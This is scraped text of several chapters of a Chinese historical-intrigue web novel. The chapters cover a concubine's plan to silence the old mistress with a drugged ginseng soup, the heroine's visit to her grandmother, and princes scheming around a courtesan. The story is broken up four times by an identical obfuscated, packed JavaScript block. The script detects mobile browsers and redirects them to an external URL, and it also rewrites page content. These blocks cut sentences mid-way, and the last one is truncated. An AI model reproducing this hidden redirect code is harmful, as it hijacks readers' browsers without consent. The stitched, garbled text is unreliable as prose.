“姨娘，”梨画声音压得更低，满脸忧色，“老夫人既已神智清明，会不会......会不会将先前那事告知老爷？” 周姨娘垂眸沉默片刻，眼底阴鸷渐渐褪去，取而代之的是一丝算计的冷光：“她若想说，当日事发时便不会只字不提，反倒憋出一场疯癫。” “可如今她神智清明了......”梨画仍有些惴惴不安，搓着衣角道，“万一她记起那日你与那人之事......” “住口！”周姨娘猛地抬眼，语气狠戾，却又刻意压低了声音，“此事休要再提！没有实证，单凭她一面之词，老爷会信她这个刚从疯癫中好转的老婆子，还是信我这个素来恭顺的妾室？” 梨画被她眼神震慑住，喏喏应了声，却忍不住道：“可老夫人毕竟是老爷的生母......” “生母又如何？”周姨娘冷笑一声，端起茶杯抿了口，茶水的温热并未暖化她眼底的寒意，“你这话倒提醒了我。” “这世上，只有死人与哑巴才不会乱说话。” 她放下茶杯，目光沉沉地锁在梨画脸上，语气带着威亚，“梨画，我的意思，你可明白了？” 梨画浑身一僵，喏喏应道：“奴婢明白。” 周姨娘满意地勾了勾唇角，眼底的狠戾化作一丝阴柔的笑意，她抬手抚了抚鬓边的珠花，声音压得愈发低哑，“明白就好。” 她起身踱了两步，裙摆扫过地面的绒毯，无声无息，“老夫人刚醒，身子虚得很，大夫既然说了要服用温凉的参汤。你去库房将那描金红盒中的白瓷瓶取来，找个机会往那汤里加点‘梦哑散’。” 又将指尖在掌心轻轻一划，继续说道：“那药无色无味，掺在参汤里，只会让人嗜睡乏力，日后就算有人起疑，也只当是老夫人病后体虚缠绵，断不会想到别处去。久服之后，还会使人渐失言语之力。” 梨画身子一颤，猛地抬头，“姨娘，这……这会不会太冒险了？万一被人发现……” “发现？”周姨娘冷笑，伸手捏住她的下巴，指腹用力摩挲着她细嫩的肌肤，力道却狠得让梨画眼眶发红，“你莫要忘了，当年传老夫人冲撞邪祟之事，还是你给我出的主意。事到如今，要么她死，要么我们死，你选哪一个？” 下巴传来的剧痛让梨画眼泪打转，她望着周姨娘眼中那毫不掩饰的杀意，终于咬了咬牙，含泪点头，“奴婢……奴婢这就去办。” 周姨娘松开手，掏出手帕擦了擦指尖，仿佛沾染了什么污秽，“快去。记住，手脚干净些，别留下任何痕迹。事成之后，我许你一个抬举，让你做我的陪房，日后嫁个管事，总好过一辈子做个看人脸色的奴婢。” 梨画咬着唇，转身向外走去，脚步虚浮得像踩在棉花上。廊下的风卷着细碎的沉沙吹进来，迷乱了她的眼，刺痛之下，竟有些睁不开眼。 她知道，从答应的那一刻起，便再也没有回头路了。 而周姨娘站在原地，望着她匆匆离去的背影，端起桌上的茶杯，将剩下的凉茶一饮而尽。凉茶入喉，凉得她打了个寒噤，眼底却燃起一簇幽冷的火焰。 老夫人，别怪她心狠。要怪，就怪自己挡了她的路，还知道了不该知道的事。 她走到窗边，撩开窗帘一角，望向不远处灯火通明的正院。那里，是她梦寐以求的位置。 “宋家主母，未来太子妃……”周姨娘轻声呢喃，嘴角勾起一抹冰冷的弧度，“很快，便不是了。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874541|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子离去后，殿内的喧嚣便淡了几分。 安乐公主的目光直直盯着汀竹脸上的白纱之上，眸底的光流转许久。那日初见，她指尖拨弦时的清绝模样好似在眼前。 沉吟片刻，又想起方才太子哥哥对她堪比自己这般温柔，安乐脸上立即浮现了一抹笑容，柔声道：“未来嫂嫂，安乐那日未听得全乎的琴曲，不如这会再弹一曲，让安乐也过过耳。” “承蒙殿下厚爱，”汀竹欠身一礼，“在未与太子殿下成婚前，臣女愧不敢当‘嫂嫂’二字。” 此话一出，除了李芷瑶，其他人心中不免暗忖，还算有几分自知之明。 安乐正想开口为她辩解，便被自家亲姐出声打断，“乐儿，莫要胡闹。”她眼神淡淡从汀竹身上扫过，转而看向了其他贵女，“时辰不早了，今日便允各位早些回府歇息吧。” 众贵女闻言，纷纷起身福礼，柔声谢过两位公主的恩典。 汀竹辞行时，目光扫过案上碟盏，顺手拈了几块方才尝着合口的糕点，妥帖收进袖中。这一幕，恰好落在李芷瑶眼里。 她眸中掠过一丝诧异，轻声问道：“姐姐这是何意？” 汀竹瞥了眼身前并无旁人留意，便竖起食指抵在唇上，做了个“嘘”的手势，随即凑近她耳畔，低低解释道：“方才尝着这糕点清甜适口，想着锁秋定是喜欢，便替她带几块回去。” 李芷瑶恍然颔首，轻应一声“哦”，便不再多问，只陪着汀竹一同行至出宫的人流末尾，缓缓相随。 落日已浸红了天际，昏黄的光将整个皇宫照得更加辉煌。二人正聊起方才御花园的事，却被身后一道轻唤打断，“宋大小姐留步。” 回身时，见是昭宁公主身边的贴身宫女，手中捧着个描金漆盒。“公主说，这盒凝雪玉容膏可去疤痕养容颜，让奴婢送来。”宫女将漆盒递过，目光在她面纱上稍作停留，又补充道，“公主还说，望小姐早日恢复容貌，与太子殿下早结连理。” 汀竹眸色微动，抬手接过时指尖微顿，轻声道：“劳烦姑娘跑一趟，替我谢过昭宁公主。” 宫女福了福身，应声退去。 一旁的李芷瑶瞧了眼那雕工精巧的漆盒，眉梢微挑，“姐姐，这凝雪玉容膏是西域贡品，据说采了天山雪莲与深海珍珠凝念而成，寻常疤痕只需半月便能消褪，就连像齐姐姐这般的贵女都难得一见。昭宁公主先前那般刁难，今日又这般送这名贵之物，是有何用意啊？” 汀竹也不明白昭宁公主是何用意，只抬眸望了眼渐沉的暮色，“或许是为了太子殿下，或许是另有图谋。”她顿了一瞬，语气添了几分清冷，“这凝雪玉容膏虽好，却也未必是福。还望妹妹替我保密，若有人问起，只说公主体恤，却不必细说药膏来历。” 李芷瑶明了她的顾虑，怕太过招摇，且让他人以为她与公主关系甚好，引人妒忌，说到公主面前，得不偿失。 只点了点头，应声，“芷瑶明白。” 44. 汀竹 二人行至东华宫宫门外，便上了自家马车。 “小姐，老夫人醒了。”锁秋轻声禀报。 汀竹一听，神色平淡无波，似早有预料，只淡淡应了声，“嗯，我知道了。” 她转而眉眼带笑，柔声道：“你且张开手掌。” 锁秋偏头瞧着汀竹，虽满心疑惑，面上露出几分怔忪，却依旧乖巧地将手伸到汀竹跟前，在她眼皮底下缓缓摊开。 下一刻，汀竹便将方才从御花园顺手带的点心，轻轻搁在她的掌心里，语调温和如春风拂柳，“我尝着这点心滋味甚好，你且尝尝看。” 锁秋见她特意为自己带了吃食，脸上别提有多惊喜了，连忙笑着说：“小姐待奴婢真好。” 说罢便捻起一块点心送入口中，只觉入口软绵香甜，丝毫不腻，滋味绝佳，“小姐，这宫里的点心果然名不虚传，这也太好吃了！” 汀竹嘴角弯起一抹笑意，“好吃便好，下次再给你带。” “多谢小姐！” 随后锁秋又问起她这几日未去醉仙楼，今夜是否要去。 汀竹却摇了摇头，道：“以后都不去了。” 毕竟上次身份已然暴露，此刻再去，怕是早已布下天罗地网，只等她自投罗网。 锁秋闻言点点头，忽然想先前她受伤一事，连忙问道：“小姐，你上次的伤口可好些了？” 汀竹道：“已经结痂了，无需挂心。” 马车行至将军府，汀竹一落地，便径直往静心苑去看望宋老夫人。她心中始终存着疑虑，宋老夫人此番突然摔了脑袋，究竟是意外巧合，还是有意为之？ 踏入静心苑，只见院中婢女较先前家庙后院多了数倍，胡嬷嬷见是汀竹前来，连忙上前迎候，笑道：“大小姐来了，老夫人方才还跟夫人念叨着你呢。” 汀竹趁机细问了宋老夫人摔倒之事，她素来不信会有这般巧合的事。 胡嬷嬷却只含笑道：“老夫人年事已高，腿脚本就迟滞，偶尔磕碰也是常有的事。大小姐聪慧通透，有些事，何须细究呢？” 一听这话，汀竹便知此事绝非表面上的简单，心中猜测到了一二。虽有疑虑，却也没再追问胡嬷嬷，遂不再多言，径直向内室走去。 内室之中，唯有宋夫人守在床前伺候。汀竹连忙上前，向俩人福身行礼，“祖母，母亲。” “今日怎的这般早便回府了？”宋夫人瞧着她，略带诧异，“往日你从崇文轩归来，多是酉时中，今日怎申时便到了？” 汀竹遂将御花园之事简洁说了番，“母亲，今日安乐公主邀轩中姐妹同游御花园，昭宁公主见时辰不早，便特意允我们早些归家。” “昭宁公主倒是心善。”宋夫人轻声赞了一句。 汀竹走到床塌边，柔声问道：“祖母，身子可好些了？” 宋老夫人慈眉善目，拉过她的手，温声道：“祖母好多了。” 话音刚落，便只见胡嬷嬷端着一碗热气腾腾的参汤进来，瓷碗边缘着细密的水珠。汀竹连忙上前一步接过，手指触到温热的碗壁，轻声道：“嬷嬷，我来伺候祖母吧。” 胡嬷嬷并未推辞，顺势将汤碗递到她手中，躬身退到了一旁。 汀竹端着参汤，先舀了一勺，是否凑到唇边轻轻吹了吹，且不着痕迹的闻了闻，确定参汤无碍后，待温度适宜才递到宋老夫人唇边。老夫人张了张嘴，慢吞吞咽下去，喉间却似有些发紧，眉头微不可察地蹙了一下，随即又舒展开来，望着汀竹道眼神依旧慈和，“还是我的清禾细心。” 宋夫人在一旁看着，伸手替老夫人拢了拢被角，轻声道：“母亲今日胃口不佳，方才妹妹喂了小半碗便不肯再喝，如今清禾来了，许是能多进些。” 汀竹闻言，心中微动。她瞧着碗中澄澈的参汤，汤色清亮，还飘着些许枸杞，闻着并无异样，可老夫人方才那一闪而过的不适，却让她心头多了几分疑虑。 “祖母许是久未进食，喉咙有些干涩。”她不动声色地缓声道，又舀了一勺参汤，这次吹得格外细致，递到老夫人唇边时，刻意放缓了速度，“慢些喝，莫要呛着。” 宋老夫人顺从地张了嘴，汀竹便仔细瞧着，然而这一口咽得倒没第一口那般滞涩，想来方才的疑虑或许是错觉。 “好孩子，难为你这般耐心。”老夫人拍了拍她的手背，语声满是疼惜。 喂了约莫半盏茶的时候，参汤便见了底。 汀竹将空碗递与了一旁的胡嬷嬷，指尖不经意擦过碗沿的水珠，目光却落在老夫人泛着浅白的唇色上。她顺势替老夫人掖了掖被角，指腹触到被褥下的手腕，竟觉触手微凉。 这参汤温补，宋老夫人喝了小半碗，不该仍是这般寒意。 “祖母既乏了，清禾便不扰您歇息。”汀竹起身便带着锁秋离去。宋夫人点头应着，也向老夫人道了安，带着贴身丫鬟一同离去 行走至静心苑外时，宋夫人轻声唤住她，“清禾，你随我到正院说说话。” 汀竹回眸，见宋夫人神色温和却难掩几分凝重，便颔首应着，“好。” 刚到正院内室，锁秋与宋夫人的贴身丫鬟梓盼、梓溪识趣的退到外间候着。汀竹立在屋中，望着宋夫人略显沉郁的神色，缓缓问道：“母亲可是有何事需要与女儿说？” 宋夫人在屋中踱了几步，裙摆扫过地面的锦毯，无声无息。半晌，她才转过身，轻声开口，“清禾，你祖母这次摔倒，想来也是有些蹊跷，不仅人不疯癫了，就连在家庙巡逻的侍卫都说，昨日竟然没听见半点女人的哭声。” “那声音日夜萦绕，怎么偏生在她摔倒后，就凭空消失了？” 汀竹眸中骤然一动，眼下宋夫人这番话让她笃定先前的猜测瞬间。于是便垂眸应道：“许是祖母福泽深厚，连老天都在庇佑。又或是夜风声、夜猫啼声被侍卫们误听成了女子呜咽。且又没谁亲眼瞧见过， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877472|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多半是一场虚惊。” “但愿如此。”宋夫人侧过脸，目光落在她清丽的眉眼上，疼惜中裹着几分郑重，“府里人心复杂，你需多留个心眼。周姨娘心思深重，处处算计；宋婉被她与老爷惯得性子骄纵，又爱争强好胜，母亲怕你吃亏。” “母亲不必为我挂心，女儿心中有数，知道该如何行事。”汀竹垂眸应道。 话音刚落，宋夫人转身从一旁的妆奁旁拿起一个绣工精致的香囊，轻轻放在了汀竹的掌心。 香囊触手绵软，绣着一根竹子上还有着几片苍翠的竹叶，针脚细密。而竹子，是她最偏爱的植物。 未破土时是嫩笋，可佐餐食；长成后杆身坚韧，既能打造农具、筑基造纸，亦能磨砺成杀人的利器；就连不起眼的竹叶，晒干可烹茶，亦可作暗器。她的名字“汀竹”，便源于此，是那位狼面管事所取。 他曾说：“你如这竹，需经破土之苦方得挺立，便取‘竹’。既是水边相遇，此后便名‘汀竹’吧。” 思绪正飘远，宋夫人温软的声音将她拉回，“这是母亲这几日为你绣的，里面的平安符是托梓盼去普清寺求的，还放了些晒干的柿子核，希望它能保你平安，事事顺遂。” 汀竹紧握香囊，暖意从掌心蔓延至心底，她轻声道：“母亲，女儿很喜欢，多谢母亲。” 宋夫人看着她，忽然轻轻叹了口气，语气中满是无奈与怅然，“若不是你自幼便与太子有婚约在身，母亲只愿你能寻个适龄的温润公子，一门寻常亲事，安安稳稳过一辈子便好。”她眼中闪过一丝对过往的怅惘，“如今你即将嫁入东宫，虽说受万人敬仰、享不尽的荣华富贵，可若是像母亲这般，不受夫君喜爱，那东宫的冷清与算计，怕是要比这将军府更甚数倍。” 汀竹指腹摩挲着香囊上细密的针脚，眼底从容沉静如水，“母亲放心，女儿从未奢望过太子的喜爱。这桩婚约于我而言，不过是家族的责任，东宫的荣华富贵，我本就未曾放在心上。” 宋夫人闻言，眼圈微微泛红，伸手轻轻抚了抚她的发鬓，“傻孩子，哪有女子不盼着夫君疼惜的？只是这皇家婚事，从来由不得自己。你性子软弱，母亲怕你到了东宫，受不住那些明枪暗箭。” “女儿自有分寸。”汀竹语气依旧平和，“无论是将军府也好，东宫也罢，是福是祸，我都担得起。倒是母亲，在府中更要保重自身。” 她语气一顿，想起静心苑中的老夫人，补充道：“祖母如今清醒过来，未必是坏事。只是她刚经历变故，身子虚弱，母亲若得空，多去瞧瞧祖母，也好防着有人趁虚而入。” 宋夫人点点头，神色渐渐安定些，“你说的是，母亲知晓轻重。”她望着汀竹沉着冷静的模样，仿佛看见了故人。 “时辰不早了，你也累了，回去歇息吧。”宋夫人挥了挥手，语气中带着一丝疲惫。 汀竹颔首应下，转身向外走去，携着锁秋回了暖居阁。 45. 妖精 夜晚漫过望京街，长街灯火如星子垂落，人声喧囔不休。醉仙楼檐角的红灯笼晃出暖融融的光景，往来的宾客络绎不绝，正是这条街最为热闹的地方。 隐夜打探得消息，匆匆禀明了箫凛，言称是端王今夜现身于此处。箫凛本无意亲自前去，可念及那人，终究还是揣了几分碰碰运气的心思，想再见一见那位向桃仙儿学琴的女子，便携着明霄，缓步往醉仙楼而来。 一踏入醉仙楼中，箫凛便轻车熟路地领着明霄上了二楼，径直往桃仙儿的雅间而去。桃仙儿见是宸王殿下驾临，不敢怠慢，忙取来了雨前所采的碧螺春，细细烹了一壶。 箫凛斜倚在锦墩上，骨节分明的手指漫不经心地把玩着手中的那把墨兰折扇。桃仙儿将沏好茶杯捧至他面前，敛衽行礼：“殿下，请用茶。” 箫凛抬手接过，望着杯中袅袅升起的白雾，指尖拂过温热的杯壁，轻轻吹了吹浮叶，方才慢悠悠开口：“今夜，那个来跟你学琴的姑娘，可曾来过？” 桃仙儿垂首敛目，恭声回禀：“回殿下，那姑娘这几日都未曾露面。依奴婢瞧着，许是得偿所愿，便不必再来了。”那日她曾私下问过楼中老鸨，只知那姑娘是为博心上人欢心，才执意来学琴。如今既不再来，想来是心愿已成。 刚啜了一口清茶箫凛，闻言，眉头不经意地蹙了蹙，眸色沉了几分。他随即搁下茶杯，捻着扇柄的手指在腿边轻轻拍击了两下，心中暗自思虑。 怕是那日在醉云楼打草惊蛇，反倒让那女子生了警惕。如此说来，这女子的身份绝非寻常。 “她若再来醉仙楼学琴，”箫凛抬眸，声音冷冽了几分，“务必设法将她留下。” 桃仙儿心中微疑。那女子虽说行迹有些飘忽，可几日相处下来，她瞧着对方气质清雅，且在琴艺上极有天赋，实在不像是有什么不妥之处。如今听殿下这般吩咐，她忍不住轻声问了一句，“殿下，莫非那姑娘有什么不妥吗？” 箫凛并未答话，只端起茶杯，慢条斯理地饮着。一旁侍立的明霄见状，沉声为他解释，“殿下随身佩戴的一枚玉佩，曾被‘无常’盗走。而那枚玉佩，曾辗转到过那女子手中。殿下怀疑，她与‘无常’之间，定有关联。” 桃仙儿一听，不由得心头一震，满脸的难以置信。那女子的心上人，竟是江湖上令人闻风丧胆的杀手‘无常’，可‘无常’不是死于上月，还是死在端王府。 “可是.....”她刚想再问些什么。 明霄却已经淡淡打断了她的话，“不必多言，寻到那女子，一切自会水落石出。” 门外忽然传来敲门声，伴随着老鸨的那粗冽的嗓音，低声唤道：“仙儿，箫公子来听曲了。” 桃仙儿脸色微变，便知是箫域来了，忙起身整理衣襟。箫凛眸色一动，对明霄递了个眼色，二人旋即隐入雅间后墙那副墨竹图之后的隔间中。隔间与外间仅隔一堵薄墙，能将外间声音听得一清二楚，却不易被人察觉。 在老鸨推开门之后，便见箫域走进。他身穿一身墨黪色锦袍，腰束玉带，眉宇间似凝着几分化不开的郁色。随后挥手屏退了老鸨，阔步上前，径自落座在锦凳之上。 桃仙儿见他这般模样，心下了然，忙斟了一杯热茶，双手捧至他眼下，柔声问道：“公子可是心头郁烦，遇上了什么难解之事？” “仙儿。”箫域覆上了她递茶的手，将那杯热茶搁在茶几之上，一把便将她揽入怀中。桃仙儿顺势坐于他的腿上，发出一声惊呼，“公子。”忙要起身，却被他紧紧箍住。 “别动，”他低哑着嗓音道，“我就抱抱，不碰你。” 桃仙儿垂眸敛衽，双手堪堪抵在他肩头，终究是任由他抱着。 半晌，箫域才缓缓开口，声音比平日温和了许多，“仙儿，今日寻你，是有件心事想与你说。” 桃仙儿轻声应道：“公子请讲，奴家听着。” 箫域凝视着她鬓边的珠钗，一字一句，沉声道：“我本是当今圣上第七子，受封为端王。” 桃仙儿虽说早已知晓，但他如实相告，属实没想到。身子一僵，抵在他肩头的手骤然收紧。她猛地抬眸，眼底带着震惊，连声音都带着几分颤意，“公子......此话当真？” 箫域看着她惊惶的模样，心头一涩，收紧了在她腰间的手，声音低哑，“我何曾骗过你？这些时日瞒着你，不过是怕身份泄露会给你招来祸事。” 桃仙儿定了定神，连忙挣扎着要从他腿上起身，“殿下万金之躯，岂能容奴家这般风尘女子亵渎......” “仙儿！”箫域按住她，眸色沉沉地看着她，“在我眼里，你与那些金枝玉叶不同，你清纯似山巅白雪，是我在这泥沼里唯一的光。” “那日那曲《凤求凰》我便知你心意，”他顿了顿，终是将那桩心底的事说了出来，“母妃近日催得紧，要我与太傅之女联姻。若是成了，能为我添几分助力，可我心里......” 他望着桃仙儿的眼，目光灼灼，一字一句，带着滚烫的恳切，“只有你。” 桃仙儿垂下眼帘，长长的睫毛掩去眼底的波澜，声音轻得像一片羽毛，“殿下的心意，奴家明白。可门第之隔，如隔山海。奴家不过是醉仙楼的一名艺姬，如何配得上殿下。” “配得上？”箫域低笑一声，笑声里却是满是自嘲，“这世间的般配，何时由身份门第说了算？太傅之女齐湘玉，空有一副端庄皮囊，内里不过是趋炎附势的俗人，怎及得上你半分清雅？” 桃仙儿睫毛轻颤，却依旧垂着眼，不肯看他，“殿下此言差异。齐小姐出身名门，知书达理，与殿下才是天作之合。奴家不过是这醉仙楼的一缕琴音，风一吹，便散了。” “散不了！”箫域猛地加重了力道，将她箍得更紧，声音带着几分急切，“仙儿，我知你顾虑什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882016|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待我拿下那储君之位，谁敢置喙你的出身？我要让你风风光光地站在我身边，做这天下最尊贵的女人。” 隔间中，箫凛指尖的折扇停了动作，眸色幽深，落在扇面的目光，却锐利似能穿透那层薄薄的隔墙。他没想到端王这般用情至深，为了一个女子，不惜一切。一旁的明霄压低声音，“殿下，端王这是要借齐太傅的势力......” 箫凛抬手止住他的话，指腹在扇面上轻轻摩挲着，墨色的眸子里翻涌着旁人看不懂的暗潮。 “储君之位，岂是这般容易拿下的。”他唇瓣微勾，溢出一生极淡的嗤笑。 隔间外，箫域还在低声劝慰桃仙儿，语气里带着从未有过的柔软，“仙儿，你且信我。不出半年，我定能叫母妃松口，届时我便娶你入府。” 桃仙儿垂在身侧的指尖悄然蜷缩，心底百转千回。或许应了他，便更能为宸王殿下办事。思量片刻，她缓缓抬眸，眼底晕开一抹似有若无的湿意，声音轻软，“殿下既有此心，奴家......便信你一回。只是殿下若他是功成名就，莫要忘了今日之言，莫要负了人家才好。” 隔间内，明霄将桃仙儿这番话听得一清二楚，不由得侧身看向箫凛，压底了声音道：“殿下，这桃仙儿......” 箫凛薄唇微掀，语调带着几分凉意，“她这般作态，自有她的用意。”他抬眼望向窗外沉沉夜色，眼底漫过一丝玩味，“端王以为捏住了佳人的心，殊不知，自己才是被束缚住的那个。” 说罢，他将折扇“唰”地展开，轻轻摇了摇两下，那扇面上的墨兰好似随着风在舞动。 随后二人，便从隔间离去。 隔间外的软语温存还在继续，桃仙儿的声音带着几分刻意的柔婉，似是在撒娇，又似是在试探，“殿下若是忘了今日之诺，奴家便......便弹一辈子的《凤求凰》，让殿下日日不得安宁。” 箫域低笑出声，语气里满是宠溺，“你可真是个小妖精......”话落，他抬手又将人揽入怀中，捏了捏她的下巴，指腹摩挲着她细腻的肌肤，声音压得极低，带着几分戏谑，“便是一辈子，我也认了。” 桃仙儿被他揽在怀中，鼻尖蹭着他衣襟上的龙涎香气，脸颊瞬间染上绯红，伸手轻轻捶了下他的胸膛，声音愈发娇柔，“殿下就会取笑奴家。” 箫域捉住她纤细的手腕，低头唇瓣擦过她发顶，嗓音沉哑了几分，“仙儿，我定不负你。”说罢，便覆上了桃仙儿那抹红唇。 不过片刻，便拥着她往内室走去。雕花木床的锦帐早已放下，桃仙儿被他轻轻放在床榻之上，正要起身去解外衫的系带，手腕却又被箫域拉住。 “何须劳烦仙儿动手呢。”他笑意慵懒，俯身将她箍在身下，指尖灵巧，三两下便褪去了她外间的罗裙...... 余下的动作，顺着烛火熄灭，渐渐变成了呼吸交缠，温柔得不像话。 46. 画像 秋雨绵绵，自昨夜后半夜便淅淅沥沥落个不停，直至天明，雨仍未消散分毫。 明霄正欲出王府打探那女子的消息，门口小厮忽而急匆匆来报，说是有位姑娘求见殿下。 他心头一动，险些以为是那女子寻来了，可转念又觉得不对，她怎会自己送上门来？又怎会知晓殿下的身份与府邸？遂细细追问，小厮回禀，那姑娘自称姓“桃”。 明霄当即了然，是桃仙儿来了，忙吩咐小厮将人领进来，自己则转身往书房去禀报箫凛。 “殿下，桃仙儿求见。”明霄拱手立在阶下。 箫凛手上的狼毫蓦地一顿，墨汁在宣纸上晕开一团浅痕迹：“让她去凉亭候着。”言罢，他在那团墨渍上浅浅勾勒几笔，笔下线条行云流水，很快便成了一朵梅。 约莫过了半个时辰，一幅仕女图才算大功告成。 画中女子娇俏明艳，双环发鬓上插着珠钗，额间花钿小巧精致，衬得一双眼眸流光婉转，勾人心魄。最妙的是她鼻骨上那一点浅痣，平添了几分娇憨灵动，竟让整幅画都鲜活起来。 箫凛指尖轻轻摩挲着画中人的脸颊，脑海中不由自主浮现出初见时的光景。那女子的眼波，似是掺了蜜合了酒，叫人一眼便溺进去，再也忘不掉。他望着画，恍惚间竟生出一种冲动，想要将她脸上那层虚假的面具狠狠撕下，看一看面皮之下最真实模样。 明霄折返书房时，正瞧见自家殿下手持着画像，凝神端详。 “殿下。” 箫凛抬眸，将画递到他眼前：“明霄，你看，画得像吗？” 明霄便上前一步，俯身细看，随即颔首赞道：“像！殿下丹青妙笔，竟与那女子一般模样，并无差别。” 箫凛闻言，又低头凝视片刻，这才将画卷起，递与明霄，说道：“寻个时机，拿着这幅画去望京街暗中打探，或许能寻到些蛛丝马迹。” “属下遵命。”明霄双手接过画，小心翼翼折好，贴身揣入了怀中。 诸事交代完毕，箫凛才带着明霄，缓步往府中凉亭而去。 桃仙儿早已在亭中候着，一见箫凛的身影，当即“噗通”一声跪倒在地，俯身一扣，带着几分颤抖：“殿下，奴婢昨日斗胆应下端王的求娶，并非是贪图荣华富贵，实在是想着入了端王府，便能日日近在他身侧，替殿下留意他府中的动静，更好的为殿下办事。此番擅作主张，还望殿下恕罪！” 雨声簌簌落在亭角飞檐上，溅起细碎的水花。 箫凛负手立在亭柱旁，玄色衣袍的下摆垂在石阶边，被风掀起一角，露出腰间一沉香串配饰。他垂眼看着跪在地上的人，墨色的瞳仁深不见底，听了这话，唇边连一丝波澜都没有：“此法倒是可行。端王近来怕是要动作频频，身边确实缺个能传消息的人。” “不过倒是委屈你了。” 桃仙儿猛地抬头，眼中掠过一丝欣喜：“奴婢不委屈，能为殿下办事是奴婢几世修来的福分！”话落，她似乎想到了什么，方才的欣喜很快又黯淡下去，又重重叩了个头，额头抵在冰凉的青石板，语气带着哀求，“殿下，奴婢还有一事相求。他日事成之后，求殿下看着奴婢奔走效命的份上，饶过端王一条性命。” 这话一出，亭中的风都似冷了几分。 明霄闻言脸色一惊，急忙上前一步沉声喝止，语气里满是急切与警示：“桃仙儿！休得胡言！”殿下最忌的便是手下人动了私情，她这是在自寻死路！ 桃仙儿不管明霄的呵斥声，依旧咬着牙，背脊挺得笔直，一字一句道：“殿下，奴婢是真心心悦端王。他待奴婢真切，全然不似虚情假意。奴婢知道，他在殿下眼中不过是枚棋子，可在奴婢心里，他是......是奴婢此生唯一想托付的人。” 箫凛蹙着眉，垂眸看着她，墨色的瞳仁里翻涌着寒意。 心悦？这两个字像一根细针，猝不及防刺中了他心底最不愿触碰到角落。儿时的记忆翻涌上来，母后曾也是这般，望着父皇的眼神里满是盛满了旁人看不懂的情意，她以为那是一生一世的相守，到头来却落得个郁郁而终的下场。 情爱二字，于皇家而言，从来都是这世上最无用的东西，是能轻易毁掉一个人、一个家族的利刃，沾之即伤，碰之即亡。 他薄唇轻启，声音冷得像亭外的秋雨，带着彻骨的寒意：“情爱？不过是镜花水月，蛊惑人心的东西。你今日为他求情，他日若成了本王的绊脚石，你又当如何？” 桃仙儿身子一僵，肩头微微颤抖，依旧倔强地抬着头，眼中含着泪水，却带着几分决绝：“奴婢愿以性命担保，他日若端王真阻碍了殿下的路，奴婢......奴婢就是豁出性命也会亲自了结了他。” 箫凛看着她眼底的执拗，只觉得荒缪，情爱竟能让人痴傻至此，他懒得再与她纠缠，挥手冷声道：“退下吧。” 话音刚落，亭外忽然传来一阵朗笑，带着几分戏谑：“箫景珩，好端端的，怎的对着个姑娘家摆这么冷的脸。” 众人循声望去，只见谢玦撑着一把油纸伞，一手轻摇折扇，缓步踏过湿漉漉的青石路而来。他一身月白锦袍，墨发松松束着，嘴角噙着一抹散漫的笑意，目光扫过亭中情景，便了然地挑了挑眉。 谢玦收了油纸伞，递给身后跟着的小厮，又抬手抖落衣裳上的雨珠，走到箫凛身侧，似笑非笑地开口：“方才的话我可都听见了。依我看，这姑娘一片痴心，倒是难得。你便答应了她又何妨？说不定日后，你自己也会栽在这‘情爱’二字上呢。” 箫凛瞥了他一眼，眼神冷冽，语气笃定得没有半分转圜余地：“本王绝不会。” 话虽如此，他却沉默片刻，终是对着地上的桃仙儿淡淡松了口：“此事，本王记下了。他日若你办事得力，便饶他一命。” 桃仙儿猛地一喜，眼中的泪水瞬间滚落，连连叩首：“谢殿下恩典！” “退下吧。”箫凛挥了挥手，桃仙儿这才起身，福了一礼，眼眶通红，却不再多言，小心翼翼地撑着油纸伞退了出去。 亭中只剩三人，谢玦看着桃仙儿的背影消失在雨幕里，忍不住轻笑一声，摇了摇折扇，却也没再多说什么。他转而收敛了笑意，言归正传：“说正经的，我今日来，是有件事告诉你。再过两日便是太傅的寿辰，他特意遣人送了贴子到候府，邀了我父亲。我想着，你与太傅也算有师生之谊，便来问你一声，去是不去？” 箫凛看着亭外滴落的雨珠，眸色深沉：“不去。”似想着什么，抬眼看向谢玦，语气带着几分叮嘱，“你替我走一趟吧。太傅府中宾客众多，三教九流皆有，你且帮我暗中打探一番，看看太傅会为了端王拉拢多少堂中老臣。” 谢玦闻言，上前两步揽住明霄的肩膀，指尖还带着伞面上沾来的湿意，懒洋洋地应了一声：“成。不过那天，得把明霄借我用用，他办事稳妥，有他在，我也能省些力气。” 明霄心头一凛，忙抬眸看向箫凛，低声唤道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 